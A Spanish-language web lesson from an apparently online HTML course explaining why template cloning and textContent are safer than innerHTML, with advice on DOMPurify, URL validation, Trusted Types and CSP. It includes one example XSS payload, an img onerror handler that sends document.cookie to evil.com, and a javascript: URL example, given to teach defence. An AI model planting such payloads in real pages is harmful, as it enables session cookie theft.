Plantillas frente a innerHTML: seguridad
Comprenda por qué las plantillas son más seguras que asignar innerHTML
Plantillas frente a innerHTML: seguridad es una lección gratuita de HTML Academy en CoddyKit. Esta es la lección 4 de 4. Puedes leer la lección completa abajo gratuitamente — luego la practicas en el navegador con un editor de código integrado y un tutor de IA 24/7. Forma parte de la ruta de aprendizaje de HTML Academy, y tu progreso se sincroniza en la web y la app de CoddyKit. El curso de HTML Academy incluye 4 lecciones en total.
Riesgo de inyección mediante innerHTML
Asignar el.innerHTML = userInput analiza la cadena como HTML. Si userInput contiene <script> o controladores de eventos como onerror, el navegador los ejecuta, lo que crea una vulnerabilidad de Cross-Site Scripting (XSS).
Ejemplo de XSS mediante innerHTML
Un atacante envía un nombre de usuario: <img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">. Si se renderiza con innerHTML, se activa onerror y se exfiltra la cookie de sesión. El contenido de texto se convierte en código ejecutable.
textContent es seguro
el.textContent = userInput trata la cadena como texto plano: no analiza HTML ni ejecuta scripts. El navegador escapa automáticamente < y > en los nodos de texto. Use siempre textContent para los valores proporcionados por los usuarios.
// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;El elemento template evita analizar cadenas
Al usar template.cloneNode(true), la estructura procede de un template HTML previamente analizado, no de una cadena proporcionada por el usuario. Establecer los valores mediante textContent en los nodos clonados mantiene los datos del usuario en nodos de texto, nunca en HTML analizado. La estructura y los datos están separados.
Saneamiento cuando se necesita innerHTML
Si se necesita formato HTML proporcionado por los usuarios (texto enriquecido), debe sanearlo antes de asignarlo a innerHTML. DOMPurify es la biblioteca estándar: el.innerHTML = DOMPurify.sanitize(richHtml). Elimina las etiquetas y los atributos peligrosos, conservando el formato seguro.
Riesgo de insertAdjacentHTML
insertAdjacentHTML("beforeend", html) también analiza cadenas HTML, por lo que presenta el mismo riesgo de XSS que innerHTML. Aplique las mismas reglas de saneamiento. La alternativa más segura es crear elementos con createElement, establecer su textContent y usar appendChild.
Seguridad de setAttribute
Establecer atributos con datos del usuario puede crear una inyección: el.setAttribute("href", userUrl), donde userUrl es javascript:alert(1), crea una vulnerabilidad de XSS. Valide los esquemas de las URL: permita únicamente http:, https: y mailto: antes de establecer atributos href o src.
Manipulación del DOM
La manipulación del DOM es un ataque en el que elementos de formulario con nombre (id="getElementById") sobrescriben variables globales de JavaScript. Acceda siempre a los elementos mediante document.getElementById() en lugar de usar propiedades globales de window. La Content Security Policy también mitiga los ataques de manipulación del DOM.
Política de Trusted Types
Trusted Types (Chrome, aplicado mediante CSP) exige que innerHTML, insertAdjacentHTML y otros puntos de inserción similares reciban cadenas envueltas por una política. No se pueden asignar cadenas sin procesar; solo valores creados por una política TrustedTypes declarada. Esto evita omitir accidentalmente el saneamiento.
Seguridad de DocumentFragment
Crear elementos con la API del DOM (createElement, createTextNode) y manipularlos en un DocumentFragment es intrínsecamente seguro frente a XSS: el texto siempre es texto y nunca HTML analizado. Los DocumentFragments son la forma más segura de construir interfaces dinámicas complejas.
Content Security Policy
Una CSP estricta (sin unsafe-inline y con scripts basados en nonce) proporciona una defensa en profundidad contra XSS. Aunque un atacante inyecte HTML, la CSP impide que se ejecuten los scripts inyectados. La CSP no elimina la necesidad de sanear el contenido: es una red de seguridad, no la defensa principal.
Comprobación de conocimientos
¿Por qué textContent es más seguro que innerHTML para renderizar datos proporcionados por el usuario?
Resumen
innerHTML y las API relacionadas analizan cadenas HTML, lo que crea vulnerabilidades de XSS cuando los datos del usuario se interpolan sin sanear. Usar textContent, clonar templates y completarlos con textContent, utilizar DOMPurify para texto enriquecido y aplicar Content Security Policy proporciona una defensa por capas contra los ataques de inyección de HTML.
Preguntas frecuentes
¿La lección «Plantillas frente a innerHTML: seguridad» es gratis?
Sí — el texto completo de «Plantillas frente a innerHTML: seguridad» es gratis para leer aquí en la web. Para practicarla de forma interactiva (editor de código integrado y tutor de IA 24/7) y desbloquear el resto del curso de HTML Academy, actualiza a CoddyKit PRO. El curso de HTML Academy incluye 4 lecciones en total.
¿Qué aprenderé en «Plantillas frente a innerHTML: seguridad»?
Comprenda por qué las plantillas son más seguras que asignar innerHTML Practicas HTML Academy con código real que ejecutas directamente en el navegador, y un tutor de IA 24/7 responde tus preguntas mientras trabajas en la lección.
¿Necesito experiencia previa para empezar HTML Academy?
No se requiere experiencia previa. HTML Academy en CoddyKit está estructurado para principiantes hasta estudiantes avanzados, así que puedes empezar aquí o desde el inicio y avanzar a tu ritmo. Esta es la lección 4 de 4.
¿Cuánto tiempo toma la lección «Plantillas frente a innerHTML: seguridad»?
La mayoría de las lecciones de CoddyKit toman alrededor de 5–10 minutos. Cada una es compacta e interactiva, así que avanzas constantemente y retomas exactamente por donde dejaste en la web y la app.
¿Puedo escribir y ejecutar código en esta lección de HTML Academy?
Sí. Cada lección de HTML Academy incluye un editor de código integrado, así que escribes y ejecutas código real directamente en tu navegador y obtienes retroalimentación instantánea de IA — sin configuración local necesaria.
Todas las lecciones de este curso
- El elemento template: contenido inerte
- Clonar plantillas con cloneNode
- Usar template para representar contenido con JavaScript
- Plantillas frente a innerHTML: seguridad